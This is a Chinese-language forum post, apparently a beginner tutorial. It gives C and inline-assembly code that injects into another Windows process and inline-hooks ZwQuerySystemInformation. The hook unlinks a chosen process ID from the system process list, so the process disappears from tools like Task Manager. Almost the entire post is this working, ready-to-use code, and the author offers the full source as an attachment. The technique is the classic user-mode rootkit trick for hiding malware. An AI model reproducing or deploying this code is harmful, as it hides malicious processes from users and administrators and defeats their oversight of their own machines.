潜水时间太久了,看到N多高手都出手了,我想我也应该写点菜鸟级的东西给一些比我更菜鸟的人看看吧,高手就飘过吧。
此文章是由于最近经常看到有初学者提到类似或者相关问题,所以希望此篇文章能给一些初学者提供帮助.但是由于时间问题代码写得很仓促,可能存在问题希望见谅。我只在我的本机上简单的测试了一下,没什么问题。环境是xp sp2。需要注意的是在Debug版本中可能会存在问题,因为在使用WriteProcessMemory的时候可能会把int 3拷贝过去,所以大家要使用最好使用Release版。先帖点主要代码,完整代码请下载附件。
代码:
__declspec (naked) VOID FunStart(){}; __declspec (naked) VOID ZwQuerySystemInformationProxy() { //这里备份五个字节就可以了的因为Zwxx的函数格式原因这里固定都是无个字节 _asm{ nop nop nop nop nop mov ebx,0x88888888 //ZwQuerySystemInformation 方便特征定位 add ebx,5 jmp ebx } } NTSTATUS NTAPI ZwQuerySystemInformationCallback( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ) { NTSTATUS ntStatus; PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev; _asm{ push ebx push ReturnLength push SystemInformationLength push SystemInformation push SystemInformationClass call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改 mov ntStatus,eax pop ebx } if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation) { pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation; while (TRUE) { if (pSystemProcesses->ProcessId==0x12345678) //如果是我们需要隐藏的PID就进行数据修改 { if (pSystemProcesses->NextEntryDelta) { //当我们需要隐藏的进程后面还有进程时 //越过我们自己进程让NextEntryDelta直接指向下一个数据块 Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta; } else { //当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0 //这时系统在遍历我们进程时就不会发现了 Prev->NextEntryDelta=0; } break; } if (!pSystemProcesses->NextEntryDelta) break; Prev=pSystemProcesses; pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta); } } return ntStatus; } __declspec (naked) VOID FunEnd(){}; BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId) { BOOLEAN bRet=FALSE; DWORD OldProtect; DWORD dwCodeStart,dwCodeEnd,dwCodeSize; BYTE HookCode[5]={0xE9,0,0,0,0}; HANDLE hProcess=NULL; PVOID RemoteAllocBase=NULL; DWORD dwFunAddress; PUCHAR pBuffer; dwCodeStart = GetFunAddress((PUCHAR)FunStart); dwCodeEnd = GetFunAddress((PUCHAR)FunEnd); dwCodeSize = dwCodeEnd-dwCodeStart; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId ); if (hProcess) { RemoteAllocBase = VirtualAllocEx(hProcess, NULL, dwCodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if (RemoteAllocBase) { printf("\t申请内存地址:0x%x\n",RemoteAllocBase); g_lpRemoteAllocBase = RemoteAllocBase; if (ZwQuerySystemInformation) { bRet=VirtualProtect((PVOID)dwCodeStart, dwCodeSize, PAGE_EXECUTE_READWRITE, &OldProtect ); if (bRet) { memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的 *(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方 *HookCode=0xE9; dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback); dwFunAddress -= dwCodeStart; dwFunAddress += (DWORD)RemoteAllocBase; //计算ZwQuerySystemInformationCallback在目标进程中的地址 printf("\tZwQuerySystemInformationCallback内存地址:0x%x\n",dwFunAddress); *(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation; dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback); for (pBuffer=(PUCHAR)dwFunAddress; pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress); pBuffer++ ) { if (*(DWORD *)pBuffer==0x12345678) { *(DWORD *)pBuffer = dwHideId; break; } } VirtualProtect((PVOID)dwCodeStart, dwCodeSize, PAGE_EXECUTE_READWRITE, &OldProtect ); } } bRet=WriteProcessMemory(hProcess, RemoteAllocBase, (PVOID)dwCodeStart, dwCodeSize, NULL ); if (bRet) { bRet=WriteProcessMemory(hProcess, ZwQuerySystemInformation, HookCode, 5, NULL ); } } CloseHandle(hProcess); } return bRet; } BOOLEAN UnHook(DWORD dwProcessId) { HANDLE hProcess=NULL; BOOLEAN bRet=FALSE; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId ); if (hProcess) { bRet = WriteProcessMemory(hProcess, ZwQuerySystemInformation, g_lpRemoteAllocBase, 5, NULL ); /*VirtualFreeEx(hProcess, g_lpRemoteAllocBase, 0, MEM_RELEASE );*/ //这里需要注意不能释放申请的内存,因为有可能你释放完成时函数正好调用完毕返回在你释放的内存中,这时就会造成目标程序崩溃 } return bRet; }